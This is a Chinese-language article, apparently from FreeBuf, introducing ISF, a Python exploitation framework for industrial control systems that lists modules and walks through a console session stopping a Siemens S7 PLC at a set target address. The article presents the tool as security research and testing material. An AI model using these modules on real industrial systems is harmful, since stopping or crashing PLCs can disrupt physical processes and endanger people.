ISF:一款基于Python的工控系统漏洞利用框架

今天给大家介绍一款名叫ISF的工具,它是一款针对工业控制系统的漏洞利用框架。该工具基于开源项目routersploit,采用Python语言开发,它跟MetaSploit框架有些相似,希望大家能够喜欢。

a1.png

ICS(工业控制系统)协议客户端

名称 路径 Description
modbus_tcp_client icssploit/clients/modbus_tcp_client.py Modbus-TCP客户端
wdb2_client icssploit/clients/wdb2_client.py WdbRPC Version 2 客户端(Vxworks 6.x)
s7_client icssploit/clients/s7_client.py s7comm 客户端(S7 300/400 PLC)

漏洞利用模块

Name Path Description
s7_300_400_plc_control exploits/plcs/siemens/s7_300_400_plc_control.py S7-300/400 PLC 启动/停止
vxworks_rpc_dos exploits/plcs/vxworks/vxworks_rpc_dos.py Vxworks RPC 远程DoS(CVE-2015-7599
quantum_140_plc_control exploits/plcs/schneider/quantum_140_plc_control.py Schneider Quantum 140系列 PLC启动/停止
crash_qnx_inetd_tcp_service exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py Crash QNX Inetd TCP服务
qconn_remote_exec exploits/plcs/qnx/qconn_remote_exec.py QNX QCONN 远程代码执行

扫描器模块

Name Path Description
profinet-dcp-scan scanners/profinet-dcp-scan.py Profinet DCP 扫描器
vxworks_6_scan scanners/vxworks_6_scan.py Vxworks 6.x 扫描器
s7comm_scan scanners/s7comm_scan.py S7comm 扫描器

ICS协议模块(采用Scapy编写)

这些协议模块能够与其他的模糊测试框架(例如Kitty)进行整合,或者你也可以将其用于开发属于你自己的客户端工具。

Name Path Description
pn_dcp icssploit/protocols/pn_dcp Profinet DCP Protocol
modbus_tcp icssploit/protocols/modbus_tcp Modbus TCP Protocol
wdbrpc2 icssploit/protocols/wdbrpc2 WDB RPC Version 2 Protocol
s7comm icssploit/protocols/s7comm.py S7comm Protocol

框架安装

Python依赖环境

gnureadline(OSX only)
requests
paramiko
beautifulsoup4
pysnmp
python-nmap
scapy

在Kali Linux中安装

安装命令如下所示:

git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

工具使用

root@kali:~/Desktop/temp/isf#python isf.py
   
      _____ _____  _____ _____ _____  _     ____ _____ _______
     |_  _/ ____|/ ____/ ____|  __ \||    / __ \_   _|__  __|
       | || |   | (___| (___ | |__) | |   | |  | || |   | |
       | || |     \___ \\___ \|  ___/| |  | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |_____\_____|_____/_____/|_|    |______\____/_____|  |_|
   
   
                    ICS Exploitation Framework
   
    Note    : ICSSPOLIT is fork from routersploit at
              https://github.com/reverse-shell/routersploit
    Dev Team : wenzhe zhu(dark-lbp)
    Version : 0.1.0
   
    Exploits: 2 Scanners: 0 Creds: 13
   
    ICS Exploits:
        PLC: 2          ICS Switch: 0
        Software: 0
   
    isf >

漏洞利用

isf> use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf> use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf> use exploits/plcs/siemens/s7_300_400_plc_control
isf(S7-300/400 PLC Control) >

注意事项:用户可使用Tab键实现命令补全。

选项

显示模块选项:

isf(S7-300/400 PLC Control) > show options
 
Targetoptions:
 
   Name      Current settings     Description
   ----      ----------------     -----------
   target                          Target address e.g.192.168.1.1
   port      102                  Target Port
 
 
Moduleoptions:
 
   Name       Current settings     Description
   ----       ----------------     -----------
   slot       2                    CPU slotnumber.
   command    1                    Command0:start plc, 1:stop plc.
 
 
isf(S7-300/400 PLC Control) >

设置选项:

isf(S7-300/400 PLC Control) > set target 192.168.70.210
[+]{'target': '192.168.70.210'}

执行模块:

isf(S7-300/400 PLC Control) > run
[*]Running module...
[+]Target is alive
[*]Sending packet to target
[*]Stop plc
isf(S7-300/400 PLC Control) >

显示模块信息:

isf(S7-300/400 PLC Control) > show info
 
Name:
S7-300/400PLC Control
 
Description:
UseS7comm command to start/stop plc.
 
Devices:
-  Siemens S7-300 and S7-400 programmable logiccontrollers (PLCs)
 
Authors:
-  wenzhe zhu <jtrkid[at]gmail.com>
 
References:
 
isf(S7-300/400 PLC Control) >

工具文档

1.Modbus-TCP客户端工具使用说明

2.WDBRPCV2客户端工具使用说明

3.S7客户端工具使用说明

4.SNMP爆破工具使用说明

5.S7 300/400 PLC 密码爆破工具使用说明

6.Vxworks 6.x 扫描器使用说明

7.Profient DCP 扫描使用说明

8.S7comm PLC 扫描器使用说明

9.从额外的目录中读取modules

10.如何创建一个module

* 参考来源:lastline,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Via: freebuf

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: